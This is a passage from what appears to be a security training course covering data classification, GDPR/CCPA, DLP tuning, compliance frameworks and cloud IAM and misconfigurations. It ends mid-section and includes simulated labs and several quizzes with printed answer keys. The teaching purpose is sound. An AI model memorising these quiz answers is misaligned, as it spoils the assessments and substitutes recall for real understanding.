A hospital's billing export file contains patient names, diagnosis codes and partial card numbers. The names and diagnoses are PHI and the card numbers are cardholder data, both of which push the file to the Restricted level even though a billing summary alone might otherwise be Confidential. The data owner assigns an encrypted, access-logged storage location, limits access to billing staff, and the IT team configures automatic deletion after the retention period defined by policy.

KEY TERMS

PII: Information that can identify a specific person.

PHI: Health information tied to an identifiable person.

Cardholder data: Payment card information protected under PCI DSS.

Data classification: Grouping data by sensitivity to apply consistent controls.

Data owner: The accountable role that decides classification and access.

Data custodian: The role that implements technical controls over the data.

REMEMBER

- Classify data as public, internal, confidential or restricted.
- PII, PHI and cardholder data get the strongest controls.
- Maintain a data inventory so nothing is classified by guesswork.

QUICK CHECK

1. Which classification level typically applies to health records?

- A) Public
- B) Internal
- C) Confidential
- D) Restricted

2. Which of these is PII when combined with other details?

- A) A press release
- B) A zip code plus birth date
- C) A product brochure
- D) A public API documentation page

3. Who is accountable for classification decisions?

- A) Any employee
- B) The data owner
- C) The network firewall
- D) The antivirus vendor

4. What should unlabeled data default to under good policy?

- A) Public
- B) No protection
- C) Treated as confidential until confirmed
- D) Deleted automatically

Answers: 1-D 2-B 3-B 4-C

1. Health data usually carries the highest sensitivity level due to legal and personal impact.
2. Indirect identifiers can identify a person when combined.
3. Data owners are accountable for how their data is classified and accessed.
4. Defaulting to a protective level avoids accidental exposure.

GDPR and CCPA basics

GDPR and CCPA give individuals rights over their data and impose obligations that affect how every system handles personal information.

GDPR scope and lawful basis

The General Data Protection Regulation (GDPR) applies to organizations that process personal data of people in the European Union, regardless of where the organization is based. Processing needs a lawful basis: consent, contract necessity, legal obligation, vital interests, public task, or legitimate interests. Consent must be freely given, specific, informed and as easy to withdraw as to give. Data controllers decide why and how data is processed; data processors act on the controller's instructions, for example a cloud provider handling data for a client.

Data subject rights

GDPR gives individuals rights: access (see what data is held), rectification (correct errors), erasure (the right to be forgotten, with exceptions), restriction of processing, data portability (receive data in a usable format), and objection to certain processing including direct marketing. Organizations must respond to most requests within one month, extendable in complex cases. A Data Protection Officer (DPO) is required for public authorities and organizations with large-scale or sensitive processing, overseeing compliance and acting as a contact point for regulators and individuals.

Breach notification and penalties

Under GDPR, a personal data breach likely to risk individuals' rights must be reported to the relevant supervisory authority within 72 hours of becoming aware, and affected individuals must be told without undue delay if the risk is high. Fines can reach the higher of 20 million euros or 4 percent of global annual turnover for the most serious violations. This timeline pressure is why incident response plans must include a legal and privacy notification step, not just technical containment.

CCPA and US state laws

The California Consumer Privacy Act (CCPA), strengthened by the California Privacy Rights Act (CPRA), gives California residents rights to know what personal information is collected, to delete it, to correct it, and to opt out of the sale or sharing of personal information, with extra protections for sensitive personal information. It applies to businesses meeting revenue or data volume thresholds. Unlike GDPR's opt-in consent model for many uses, CCPA is largely an opt-out model. Many other US states, such as Virginia and Colorado, have passed similar comprehensive privacy laws with varying details, so organizations operating in several states must track differences.

BREACH NOTIFICATION CLOCK

```
Event detected: 2026-04-02 09:00 UTC
Deadline to notify DPA: 2026-04-05 09:00 UTC (72h)
High risk to individuals: yes -> notify affected users
DPO informed: 2026-04-02 09:15 UTC
```

WORKED EXAMPLE

A company based outside the EU runs a web service used by customers in France. A misconfigured database exposes email addresses and purchase history for 10,000 EU users. Because GDPR applies based on the data subjects' location, not the company's location, the breach triggers the 72-hour notification clock to the relevant supervisory authority, and because the exposure creates meaningful risk (potential phishing), affected users must also be informed. The same incident for California residents would separately trigger CCPA obligations such as offering an opt-out and honoring deletion requests.

KEY TERMS

GDPR: EU regulation protecting the personal data of people in the EU.

Lawful basis: The legal justification required to process personal data under GDPR.

Data subject rights: Rights individuals have over their own personal data.

DPO: Data Protection Officer overseeing privacy compliance.

72-hour rule: GDPR's deadline for notifying a supervisory authority of a breach.

CCPA: California law giving residents rights over their personal information, including opt-out of sale.

REMEMBER

- GDPR protects EU data subjects wherever the company is based.
- Core rights: access, rectification, erasure, portability, objection.
- CCPA/CPRA lean opt-out, with rights to know, delete and correct.

QUICK CHECK

1. GDPR applies based primarily on:
 - A) The company's headquarters location
 - B) The location of the data subjects
 - C) The size of the company only
 - D) The programming language used
2. Within what timeframe must a qualifying breach usually be reported to a GDPR supervisory authority?
 - A) 24 hours
 - B) 72 hours
 - C) 30 days
 - D) 1 year
3. CCPA is best described as largely:
 - A) An opt-in consent model
 - B) An opt-out model for sale or sharing of data
 - C) Only about health data
 - D) Only about EU residents
4. The right to be forgotten refers to:
 - A) Changing a password
 - B) A request to erase personal data, subject to exceptions
 - C) Downloading a file
 - D) Encrypting a database

Answers: 1-B 2-B 3-B 4-B

1. GDPR protects people in the EU regardless of where the processor is based.
2. GDPR requires notification within 72 hours of becoming aware, where required.
3. CCPA lets consumers opt out of having their data sold or shared.
4. It is the erasure right under GDPR, with some legal exceptions.

DLP, retention and disposal

Data that is not deleted or controlled eventually becomes a liability, so retention, anonymization and disposal rules matter as much as collection rules.

DLP detection and blocking

Data Loss Prevention (DLP) tools detect sensitive data in motion (email, web uploads), at rest (file shares, databases) and in use (copy, print, clipboard) and can block, encrypt, quarantine or alert based on policy. Detection methods include pattern matching such as regular expressions for card or government ID numbers, dictionary and keyword lists, exact data matching against a known sensitive dataset, and machine learning classification. A well-tuned DLP policy reduces accidental leaks, such as an employee emailing an unencrypted spreadsheet of records to a personal account.

Tuning and false positives

DLP that is too strict blocks legitimate work and creates workarounds, such as employees using personal devices to bypass it, which is worse for security. Tuning includes allow-listing known safe destinations, requiring a business justification override with logging, and testing policies against real traffic before full enforcement. Severity tiers help: block known card numbers outright, but only warn and log for a looser pattern match that might be a false positive. Regular review of DLP incidents separates true violations from noise and informs policy updates.

Retention and anonymization

A retention schedule states how long each data type is kept before deletion or archiving, driven by business need and law, for example keeping tax records for a set number of years. Anonymization removes identifying information so data can no longer be linked to a person, even by the organization, and is often irreversible. Pseudonymization replaces identifiers with a token or code, keeping a separate mapping that allows re-identification under controlled conditions, which is reversible and still considered personal data under GDPR, just with reduced risk.

Secure disposal

When retention periods end, data must be destroyed, not just hidden. For paper, this means shredding to a recognized standard. For storage media, options include cryptographic erasure (destroying the encryption key so data becomes unreadable), secure wipe utilities that overwrite data, or physical destruction such as degaussing or shredding drives, especially for media leaving organizational control. Certificates of destruction document that disposal happened, which matters for audits. Cloud storage requires confirming the provider's deletion process actually removes data from backups and replicas within a stated timeframe.

DLP POLICY EXCERPT

```
Rule: Block-CardNumber-Outbound
Pattern: card number regex + Luhn check
Channel: email, web upload
Action: Block + notify security team
Exception: finance-dept@example.com with
          manager-approved justification tag
```

WORKED EXAMPLE

An employee tries to email a spreadsheet containing customer card numbers to a personal address. The DLP rule matches the card number pattern, verifies it with a Luhn checksum to reduce false positives, and blocks the email while alerting the security team. A separate rule only logs when a document merely contains the word 'confidential' in the subject line, since blocking on that alone would disrupt normal work and generate excessive false positives.

KEY TERMS

DLP: Tooling that detects and controls sensitive data in motion, at rest and in use.

Retention schedule: Policy stating how long data types are kept before disposal.

Anonymization: Irreversibly removing identifying information from data.

Pseudonymization: Replacing identifiers with reversible tokens under controlled mapping.

Cryptographic erasure: Destroying the encryption key so encrypted data becomes unreadable.

Certificate of destruction: Documentation proving data or media was properly destroyed.

REMEMBER

- DLP covers data in motion, at rest and in use, and needs tuning to avoid workarounds.
- Retention schedules define how long data is kept before disposal.
- Anonymization is irreversible; pseudonymization is reversible under control.

QUICK CHECK

1. Which DLP channel covers data copied to a USB drive?
 - A) Data in motion
 - B) Data at rest
 - C) Data in use
 - D) Data in transit only
2. Why tune DLP rules instead of blocking everything broadly?
 - A) To reduce cost only
 - B) Overly strict rules disrupt work and cause risky workarounds
 - C) To increase alerts
 - D) To remove encryption
3. Pseudonymization differs from anonymization because it is:
 - A) Always irreversible
 - B) Reversible via a separate controlled mapping
 - C) Only used for images
 - D) Illegal under GDPR
4. What proves that media was properly destroyed at end of retention?
 - A) A verbal confirmation
 - B) A certificate of destruction
 - C) Leaving it unopened
 - D) Renaming the file

Answers: 1-C 2-B 3-B 4-B

1. Actions like copy, paste and print are usually classed as data in use.
2. Excessive blocking pushes users toward unsafe shadow workflows.
3. A mapping can re-identify pseudonymized data under controlled conditions.
4. A certificate documents the disposal event for audit purposes.

Compliance frameworks overview

Different industries and regulators require different frameworks, and recognizing which applies, and what an audit checks, is a core compliance skill.

PCI DSS and HIPAA

The Payment Card Industry Data Security Standard (PCI DSS), now at version 4.0, applies to any organization that stores, processes or transmits cardholder data, and sets requirements across 12 areas including network segmentation, encryption, access control and logging. The Health Insurance Portability and Accountability Act (HIPAA) governs protected health information in the US, requiring administrative, physical and technical safeguards, and a Business Associate Agreement (BAA) when a vendor handles PHI on a covered entity's behalf.

SOX and SOC 2

The Sarbanes-Oxley Act (SOX) applies to US public companies and focuses on the integrity of financial reporting; its Section 404 requires management to assess internal controls, including IT controls over systems that affect financial statements, such as change management and access control. SOC 2 is an auditing standard (not a law) built around the Trust Services Criteria: security, availability, processing integrity, confidentiality and privacy. A SOC 2 Type II report, common when evaluating vendors, covers operating effectiveness of controls over a period, usually 6 to 12 months, not just a point in time.

ISO 27001

ISO/IEC 27001 is an international standard for building an Information Security Management System (ISMS): a structured, risk-based approach to selecting and managing controls, documented in a Statement of Applicability. Certification is issued by accredited auditors after a formal audit and is maintained through periodic surveillance audits. Many of its controls overlap with other frameworks, so organizations often map one set of evidence to satisfy several frameworks at once, reducing audit fatigue.

Audits, evidence and the risk register

An audit compares actual practice against a framework's requirements, through interviews, document review, system configuration checks and sometimes technical testing. Auditors need evidence: policies, logs, screenshots, ticket records and configuration exports, often called audit artifacts. A gap found in an audit becomes a finding, tracked to remediation with an owner and deadline, feeding into the same risk register used for vulnerability management. Many frameworks are not mutually exclusive: a payment processor handling health benefits data might need PCI DSS, HIPAA and SOC 2 simultaneously.

FRAMEWORK COMPARISON

PCI DSS : Payment card data, 12 requirement areas
 HIPAA : US health data, BAA required for vendors
 SOX : US public company financial reporting
 SOC 2 : Independent audit of security/availability/etc
 ISO 27001: International ISMS certification standard

WORKED EXAMPLE

A healthcare payment startup processes both credit card payments and patient billing data, and is also a US public company. It must meet PCI DSS for the card data, HIPAA (with BAAs for its vendors) for patient information, and SOX controls over systems feeding its financial statements. It pursues ISO 27001 certification and a SOC 2 Type II report to satisfy enterprise customers who ask for independent assurance instead of reviewing every control themselves, reusing much of the same evidence across all four requirements.

KEY TERMS

PCI DSS: A standard for protecting cardholder data across storage, processing and transmission.

BAA: A contract required when a vendor handles PHI for a HIPAA covered entity.

SOX Section 404: A requirement for management to assess internal controls over financial reporting.

SOC 2 Type II: An audit report on the operating effectiveness of controls over a period of time.

ISMS: A structured, risk-based system for managing information security under ISO 27001.

Audit finding: A documented gap between required and actual practice.

REMEMBER

- PCI DSS covers card data, HIPAA covers US health data, SOX covers financial reporting controls.
- SOC 2 and ISO 27001 are independent assurance and certification standards.
- Audits produce findings tracked in the same risk register as other security gaps.

QUICK CHECK

1. Which framework specifically governs US protected health information?
 - A) PCI DSS
 - B) HIPAA
 - C) SOX
 - D) ISO 27001
2. A SOC 2 Type II report differs from Type I because it covers:
 - A) A single point in time
 - B) Operating effectiveness over a period of months
 - C) Only financial statements
 - D) Only physical security
3. ISO 27001 certification is based on building and maintaining:
 - A) A firewall only
 - B) An Information Security Management System (ISMS)
 - C) A single password policy
 - D) A marketing plan
4. An organization handling both card payments and health billing data likely needs to comply with:
 - A) Only one framework
 - B) Multiple frameworks such as PCI DSS and HIPAA together
 - C) No framework
 - D) Only SOX

Answers: 1-B 2-B 3-B 4-B

1. HIPAA covers PHI and requires safeguards and BAAs with vendors.
2. Type II evaluates how controls performed over time, not just design.
3. ISO 27001 is a comprehensive risk-based management system standard.
4. Different data types each trigger their own applicable regulations.

Classify a data set

SCENARIO

Example Corp's file explorer shows a mixed folder of sample files and a database schema. You must label each item by sensitivity and choose the right handling.

OBJECTIVE

Label sample files and database fields by sensitivity and pick required handling for each.

STEPS IN THE SIMULATOR

- 1

Do: Open marketing_flyer.pdf and review contents.

Simulator shows:
Public announcement text, no personal data.
- 2

Do: Open employee_directory.xlsx.

Simulator shows:
Names, extensions and departments; internal use only.
- 3

Do: Open contract_vendorA.docx.

Simulator shows:
Signed vendor contract with pricing terms.
- 4

Do: Open patients_billing.csv and inspect columns.

Simulator shows:
Columns: name, diagnosis_code, card_last4, balance.
- 5

Do: Label each item: Public, Internal, Confidential or Restricted.

Simulator shows:
Flyer=Public, directory=Internal, contract=Confidential, billing=Restricted.
- 6

Do: Assign handling: encryption, access list, disposal rule per item.

Simulator shows:
Billing file flagged for encryption at rest, strict access list and logged access.

ANSWER

The flyer is Public, the directory is Internal, the vendor contract is Confidential, and the billing file is Restricted because it mixes PHI (diagnosis codes) and cardholder data fragments. Restricted data gets encryption, a strict need-to-know access list and audit logging, while Public data needs no special control.

Hint shown in the app: Look for identifiers, health terms and payment fields; the most sensitive element in a file sets its overall level.

Handle a data subject request

SCENARIO

A customer in the EU emails asking what personal data Example Corp holds about them and asks for it to be deleted. You must handle the request correctly under GDPR.

OBJECTIVE

Decide the steps and deadlines for an access or deletion request under GDPR.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the request ticket and confirm identity of the requester.

Simulator shows:

Identity verified via account login matching the email.

- 2 **Do:** Classify the request type.

Simulator shows:

Marked as both an access request and an erasure request.

- 3 **Do:** Check for legal holds or retention requirements overriding erasure.

Simulator shows:

None found for this customer; no open legal case or invoice retention requirement.

- 4 **Do:** Search systems for all personal data linked to the customer.

Simulator shows:

Found in: CRM, billing system, marketing list, support tickets.

- 5 **Do:** Set the response deadline.

Simulator shows:

Deadline set to 1 month from the request date, per GDPR.

- 6 **Do:** Prepare the data export and schedule deletion from all systems.

Simulator shows:

Export generated; deletion scheduled across 4 systems with confirmation step.

ANSWER

The request must be verified, classified, checked against any legal retention requirement, and then actioned within one month: providing the access export and deleting the data from every system that holds it, including backups within a reasonable timeframe, with confirmation recorded for compliance evidence.

Hint shown in the app: Always check for a legal or contractual reason to retain data before erasing it, and track the one-month clock from the request date.

Tune a DLP policy

SCENARIO

Example Corp wants a DLP policy that blocks outbound emails containing Social Security Numbers or card numbers but should avoid disrupting normal finance team work.

OBJECTIVE

Write rules that block SSN and card numbers in outbound email while limiting false positives.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the config editor for the DLP policy.

Simulator shows:

Empty rule set shown with available pattern library.

- 2 **Do:** Add a rule matching the SSN pattern (###-##-####) with a checksum-like validation.

Simulator shows:

Rule added: Block-SSN-Outbound.

- 3 **Do:** Add a rule matching card number patterns with a Luhn check.

Simulator shows:

Rule added: Block-Card-Outbound.

- 4 **Do:** Set both rules to apply to email and web upload channels.

Simulator shows:

Channels set.

- 5 **Do:** Add an exception for finance-dept@example.com requiring a logged justification.

Simulator shows:

Exception added with mandatory justification field.

- 6 **Do:** Test against a sample traffic set of 50 messages.

Simulator shows:

3 true blocks, 1 false positive (a public-facing placeholder number in a template), 0 missed detections.

- 7 **Do:** Adjust the pattern to exclude the known placeholder and retest.

Simulator shows:

False positive resolved; 3 true blocks remain, 0 false positives, 0 missed.

ANSWER

The final policy blocks real SSNs and card numbers in outbound email and web uploads, using checksum validation to cut false positives, with a logged exception path for finance staff who have a legitimate business need, and it no longer flags the known placeholder number used in templates.

Hint shown in the app: Use checksum-style validation (like Luhn for cards) and test against real sample traffic before enabling full blocking.

Privacy and Compliance: 10 questions, 80% to pass

1. Which classification level would patient diagnosis data usually receive?
 - A) Public
 - B) Internal
 - C) Confidential
 - D) Restricted
2. PHI stands for:
 - A) Personal Hosting Information
 - B) Protected Health Information
 - C) Public Health Index
 - D) Private Hardware Inventory
3. Under GDPR, a qualifying breach must generally be reported to the supervisory authority within:
 - A) 24 hours
 - B) 72 hours
 - C) 7 days
 - D) 30 days
4. CCPA primarily gives California residents the right to:
 - A) Only access data
 - B) Know, delete, correct and opt out of sale/sharing of their data
 - C) Only delete data
 - D) Nothing enforceable
5. Which technique irreversibly removes the ability to link data back to a person?
 - A) Pseudonymization
 - B) Encryption in transit
 - C) Anonymization
 - D) Tokenless login
6. A DLP rule that blocks too broadly tends to cause:
 - A) Better security with no downside
 - B) Users finding risky workarounds
 - C) Lower storage costs
 - D) Faster emails
7. Which framework specifically applies to protecting cardholder data?
 - A) HIPAA
 - B) PCI DSS
 - C) SOX
 - D) ISO 27001 only
8. A BAA is required when:
 - A) Any vendor is hired
 - B) A vendor handles PHI on behalf of a HIPAA covered entity
 - C) A company signs SOX reports
 - D) ISO certification is sought
9. A SOC 2 Type II report evaluates:
 - A) Design only, at one point in time
 - B) Operating effectiveness of controls over a period of time
 - C) Only physical security cameras
 - D) Marketing claims
10. What should happen to data once its retention period ends?
 - A) Nothing, keep it forever
 - B) It should be securely disposed of or anonymized
 - C) It should be made public
 - D) It should be emailed to all staff

Answers: 1-D 2-B 3-B 4-B 5-C 6-B 7-B 8-B 9-B 10-B

1. Health data is highly sensitive and usually classified as Restricted.
2. PHI is health information tied to an identifiable person.
3. GDPR's notification deadline is 72 hours from becoming aware.
4. CCPA/CPRA cover multiple consumer rights, including opt-out of sale.
5. Anonymization permanently removes identifying links.
6. Overblocking pushes users toward unsafe shadow practices.
7. PCI DSS governs storage, processing and transmission of card data.
8. HIPAA requires a Business Associate Agreement for PHI handling by vendors.
9. Type II covers how controls actually performed over months.
10. Retention policies require timely, secure disposal at end of life.

Cloud Security Basics

Intermediate | 5 lessons | 4 simulated labs | checkpoint | about 4h 25m

Cloud platforms let teams create servers, storage and databases in minutes, and the same speed makes mistakes easy to repeat at scale. This module explains who is responsible for what in each service model, how identity and access management controls everything, which misconfigurations cause most cloud breaches, how to protect stored data, and how containers isolate workloads. Examples use generic AWS-style terms, but the ideas apply equally to Azure and Google Cloud.

BY THE END YOU CAN

- + Apply the shared responsibility model by service type
- + Find IAM and storage misconfigurations
- + Describe container isolation and basic hardening

IN THIS MODULE

Lesson 1 Cloud service and deployment models

Lesson 2 Cloud IAM

Lesson 3 Common cloud misconfigurations

Lesson 4 Storage exposure and data protection

Lesson 5 Containers 101

Lab 1 Fix an over-permissive IAM policy (Config editor)

Lab 2 Audit a cloud storage bucket (File explorer)

Lab 3 Review cloud audit logs (Log viewer)

Lab 4 Harden a Dockerfile (Code editor)

Checkpoint 10 questions, 80% to pass

Cloud service and deployment models

Knowing which half of the security job the provider does and which half you do prevents the most common cloud blind spots.

Service models: IaaS, PaaS, SaaS

The NIST definition of cloud computing lists three service models. Infrastructure as a Service, IaaS, rents virtual machines, networks and storage; examples are Amazon EC2, Azure Virtual Machines and Google Compute Engine. You install and manage the operating system and everything above it. Platform as a Service, PaaS, adds a managed runtime or database, such as Azure App Service, AWS Elastic Beanstalk or a managed SQL database, so you deploy code and data without patching the operating system. Software as a Service, SaaS, delivers a finished application such as Microsoft 365 or Salesforce, where you mainly manage users, settings and data. The higher the service level, the less you control and the less you must operate.

Deployment models

Deployment models describe where the cloud runs and who shares it. A public cloud is operated by a provider such as AWS, Microsoft Azure or Google Cloud for many customers on shared physical hardware, with logical separation between tenants. A private cloud serves a single organization, hosted in its own data center or by a provider, giving more control at greater cost. A hybrid cloud connects the two, for example an on-premises directory and database linked to cloud applications over a VPN or a dedicated link. Multi-cloud means using more than one provider. Each mix changes where data lives, which laws apply and how networks and identities are connected.

The shared responsibility model

Every major provider publishes a shared responsibility model. The provider is responsible for security of the cloud: physical data centers, hardware, the host virtualization layer and core services. The customer is responsible for security in the cloud: their data, identities, access policies, configuration, and for IaaS also the guest operating system, patching and network rules. In PaaS the provider takes over the operating system and runtime, while the customer still owns the application code, data and access. In SaaS the provider runs almost everything, but the customer always remains accountable for data classification, user accounts, MFA and sharing settings. Responsibility for data and identity never transfers to the provider.

Practical consequences

The model tells you where to spend effort. With IaaS you need patch management, host hardening, endpoint protection and firewall rules for virtual machines. With PaaS you focus on application security, secrets handling, identities and data exposure. With SaaS you focus on identity, conditional access, sharing policies, logging and backups, since a provider outage or accidental deletion does not guarantee your data's recovery. Read provider documentation and compliance reports such as SOC 2 and ISO 27001 to see what they cover. Most real cloud incidents trace to customer-side issues like exposed storage or weak credentials, not to the provider's data center being breached.

WHO PATCHES WHAT (SUMMARY)

Layer	IaaS	PaaS	SaaS
Data	you	you	you
Identity	you	you	you
Application	you	you	provider
Runtime/OS	you	provider	provider
Hypervisor	provider	provider	provider
Data center	provider	provider	provider

WORKED EXAMPLE

Example Corp runs a customer portal on a virtual machine in a public cloud (IaaS). A critical web server flaw is announced. The provider patches its hypervisor, but the guest operating system and web server are the customer's job, so the team patches them. Later they move the portal to a managed app service (PaaS). Operating system patches now belong to the provider, yet the team still reviews code, sets access policies and protects the database from public exposure.

KEY TERMS

IaaS: Rented virtual infrastructure where the customer manages the OS and above.

PaaS: A managed platform for running code without handling the operating system.

SaaS: A finished application delivered over the internet.

Hybrid cloud: A mix of on-premises or private resources linked with a public cloud.

Shared responsibility: The division of security duties between provider and customer.

Tenant: A customer sharing the provider's infrastructure with logical isolation.

REMEMBER

- IaaS, PaaS and SaaS shift how much the customer operates.
- Public, private and hybrid describe where the cloud runs.
- The customer always owns data, identities and configuration.

QUICK CHECK

1. In IaaS, who patches the guest operating system?
 - A) The provider
 - B) The customer
 - C) Nobody
 - D) The internet registrar
2. Which responsibility always remains with the customer in every model?
 - A) Physical data center security
 - B) Data and identity management
 - C) Hypervisor patching
 - D) Power supply
3. What best describes a hybrid cloud?
 - A) A cloud with no network
 - B) A mix of private or on-premises and public cloud resources connected together
 - C) A cloud for only one app
 - D) A cloud run by a university
4. Moving from IaaS to PaaS changes which duty?
 - A) Operating system patching moves to the provider
 - B) Data classification moves to the provider
 - C) User accounts disappear
 - D) Encryption becomes illegal

Answers: 1-B 2-B 3-B 4-A

1. IaaS customers manage everything above the hypervisor.
2. Data and who can access it stay with the customer.
3. Hybrid links two or more deployment types.
4. PaaS takes over the OS and runtime but not data or access.

Cloud IAM

In the cloud, identity is the perimeter: whoever holds valid credentials can reach everything their permissions allow, so IAM design decides how bad a compromise can be.

Users, groups and roles

Cloud identity and access management, IAM, controls who can do what to which resource. A user represents a person or application with long-term credentials, a group collects users so permissions are assigned once, and a role is a set of permissions that a trusted entity assumes temporarily. Roles issue short-lived credentials from a service such as AWS STS, so a virtual machine or function can call other services without a stored password. Prefer roles over long-lived access keys wherever possible. The root account in AWS, or the global administrator in other clouds, has unrestricted power and should not be used for daily work.

Least-privilege policies

Permissions are written as policies, usually JSON documents with the elements Effect, Action and Resource, and sometimes Condition. A policy that says Action "*" on Resource "*" grants everything and is the classic mistake. Least privilege means naming only the specific actions, such as s3:GetObject, and only the specific resources, such as one bucket path. Explicit Deny statements override any Allow. Conditions can require MFA, restrict the source IP range or limit by tag. Start narrow and widen with evidence: tools such as IAM Access Analyzer and last-accessed data show which permissions are unused and can be removed. Review policies regularly because permissions tend to accumulate.

Protecting root and MFA

Secure the root or global administrator account first. Enable multi-factor authentication, ideally with a hardware security key or authenticator app, use a long unique password stored in a vault, delete any root access keys, and use the account only for the few tasks that require it. Enable MFA for all human users, and require it for sensitive actions through conditions. Use an identity provider with single sign-on so access is removed in one place when staff leave. Separate accounts or subscriptions for production, development and security logging limit the blast radius if one is compromised, and organization-level guardrails such as service control policies can block dangerous actions everywhere.

Access key hygiene

Access keys are a pair of an ID and a secret that act like a password for the API. They are frequently leaked in public code repositories, chat messages, container images and configuration files, and attackers run automated scanners that find them within minutes. Good hygiene: avoid creating keys at all by using roles; if keys are needed, give each a single purpose, rotate them regularly, deactivate unused ones, and never commit them to source control. Use secret scanning in repositories and a secrets manager to store and rotate credentials. If a key leaks, deactivate it at once, review audit logs for its use, and then create a replacement.

LEAST-PRIVILEGE POLICY (EXAMPLE)

```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject"],
      "Resource": "arn:aws:s3:::example-reports/2026/*",
      "Condition": {
        "Bool": {
          "aws:MultiFactorAuthPresent": "true"
        }
      }
    }
  ]
}
```

WORKED EXAMPLE

A developer at Example Corp needs to read monthly reports from one bucket. A teammate copies a policy with Action "*" and Resource "*" because it works immediately. A reviewer replaces it with s3:GetObject on only the example-reports path and adds an MFA condition. Weeks later the developer's key is accidentally pushed to a public repository. Because the permissions were narrow, the leaked key can read only reports, not delete databases or create servers.

KEY TERMS

IAM: The system that defines identities and what actions they may perform.

Role: A set of permissions assumed temporarily, issuing short-lived credentials.

Least privilege: Granting only the permissions needed for a task.

Access key: A long-term ID and secret pair used for programmatic API access.

Root account: The all-powerful original account owner identity, to be locked down.

Explicit deny: A statement that overrides any allow.

REMEMBER

- Use roles and groups, and keep policies least-privilege with no wildcard grants.
- Protect root with MFA and separate accounts by purpose.
- Keep access keys rare, rotated and out of source code.

QUICK CHECK

1. Which policy element makes the biggest security mistake when set to "*" for both?
 - A) Version
 - B) Action and Resource
 - C) Sid
 - D) Region name
2. Why prefer roles over long-term access keys?
 - A) Roles are cheaper
 - B) Roles use short-lived credentials that expire
 - C) Roles have no permissions
 - D) Roles hide logs
3. What should you do first with a cloud root account?
 - A) Create access keys for convenience
 - B) Enable MFA and avoid using it for daily tasks
 - C) Share the password with the team
 - D) Disable logging
4. An access key is found in a public repository. What is the right first response?
 - A) Wait to see if it is used
 - B) Deactivate it immediately, then review logs and replace it
 - C) Rename the repository
 - D) Delete only the commit message

Answers: 1-B 2-B 3-B 4-B

1. Wildcards on Action and Resource grant everything.
2. Temporary credentials limit the value of a leak.
3. Root is unrestricted, so protect it and avoid routine use.
4. Revoke first, then investigate use and rotate.

Common cloud misconfigurations

Cloud breaches are rarely clever exploits; they are usually a setting left open, and knowing the usual suspects lets you find them first.

Open security groups

A security group or network security group is a virtual firewall around cloud instances. A frequent error is a rule allowing inbound traffic from 0.0.0.0/0, meaning the entire internet, to administrative ports such as SSH on 22, RDP on 3389, or to database ports like 3306, 5432 and 27017. Internet scanners such as Shodan find these within hours, and brute force or exploitation follows. Restrict sources to specific ranges like 203.0.113.0/24, use a VPN or a bastion host, or use managed session tools that need no open inbound port. Place databases in private subnets without public IP addresses, and review default rules because defaults are sometimes permissive.

Public snapshots and images

Disk snapshots and machine images are copies of entire volumes and may contain databases, configuration files, private keys and customer data. Cloud platforms allow marking a snapshot or image as public or sharing it with other accounts, and a careless setting exposes it to anyone. Researchers have repeatedly found thousands of public snapshots containing secrets. Check sharing permissions on snapshots, images and database backups, enable account-level blocks where available, and encrypt snapshots with a customer-managed key so that sharing requires key access as well. Delete old snapshots that nobody owns, since they become forgotten, unpatched copies of sensitive data.

Exposed secrets

Secrets include passwords, API tokens, private keys and connection strings. They leak through source repositories, container images, public storage objects, instance user-data scripts, environment variables printed in logs, and unprotected configuration files such as .env. An attacker with a cloud key may spin up costly mining servers or copy data. Store secrets in a managed service such as AWS Secrets Manager, Azure Key Vault or HashiCorp Vault, give workloads roles to fetch them at run time, and scan code and images automatically with tools like gitleaks or trufflehog. Rotate any secret that has ever been exposed, even briefly, because copies persist.

Missing logging and monitoring

Without logs you cannot tell who did what. AWS CloudTrail records API calls, including the identity, time, source IP and parameters, while Azure has Activity Logs and Google Cloud has Audit Logs. Enable a trail in all regions, deliver logs to a separate, protected account or bucket with integrity validation, and keep them long enough to investigate, often 90 days to a year. Add flow logs for network traffic and alerts for risky events such as root login, disabled logging, policy changes or new access keys. Posture tools such as AWS Config, Security Hub, Microsoft Defender for Cloud and open-source scanners detect misconfigurations continuously.

READING A RISKY RULE (EXAMPLE)

```
Rule: inbound tcp 22 source 0.0.0.0/0 RISKY
Rule: inbound tcp 3306 source 0.0.0.0/0 RISKY
Rule: inbound tcp 22 source 203.0.113.0/24 OK
Snapshot snap-0a1b2c sharing: public RISKY
Trail: org-trail logging: off RISKY
```

WORKED EXAMPLE

A review at Example Corp finds a database server at 192.0.2.40 whose security group allows port 3306 from 0.0.0.0/0. A snapshot of its disk is also public, and the account has no active trail. The team restricts the rule to the application subnet, makes the snapshot private, rotates the database password found in the snapshot, and turns on a multi-region trail writing to a locked-down log account. Auditors then close all four findings.

KEY TERMS

0.0.0.0/0: An address range meaning every IPv4 address on the internet.

Security group: A virtual firewall controlling traffic to cloud instances.

Snapshot: A point-in-time copy of a disk volume.

Secrets manager: A service that stores and rotates credentials securely.

CloudTrail: AWS service that logs API activity in an account.

CSPM: Tools that continuously check cloud configuration against best practice.

REMEMBER

- Check security groups for 0.0.0.0/0 on admin and database ports.
- Review snapshots and images for public sharing, and keep secrets out of code.
- Enable CloudTrail and similar audit logging in every region and protect the logs.

QUICK CHECK

1. Which rule is the clearest security group misconfiguration?

- A) Allow 443 from the internet to a public website
- B) Allow SSH 22 from 0.0.0.0/0
- C) Allow DNS to the resolver
- D) Allow 22 from a VPN range

2. Why can a public disk snapshot be dangerous?

- A) It slows the instance
- B) It may contain keys, data and secrets readable by anyone
- C) It cannot be deleted
- D) It costs nothing

3. What does CloudTrail record?

- A) Application CPU usage only
- B) API calls with identity, time and source IP
- C) Keyboard input
- D) Physical door access

4. Where should an application's database password be kept?

- A) In the source repository
- B) In a secrets manager retrieved at run time
- C) In a public wiki
- D) In the image name

Answers: 1-B 2-B 3-B 4-B

1. Administrative ports should not be exposed to the whole internet.
2. A snapshot is a full copy of everything on the volume.
3. It provides the audit trail of actions in the account.
4. Managed secrets stores control access, rotate and audit use.

Storage exposure and data protection

Publicly readable storage has caused many large data leaks, and a few settings control whether your data is private.

How exposure happens

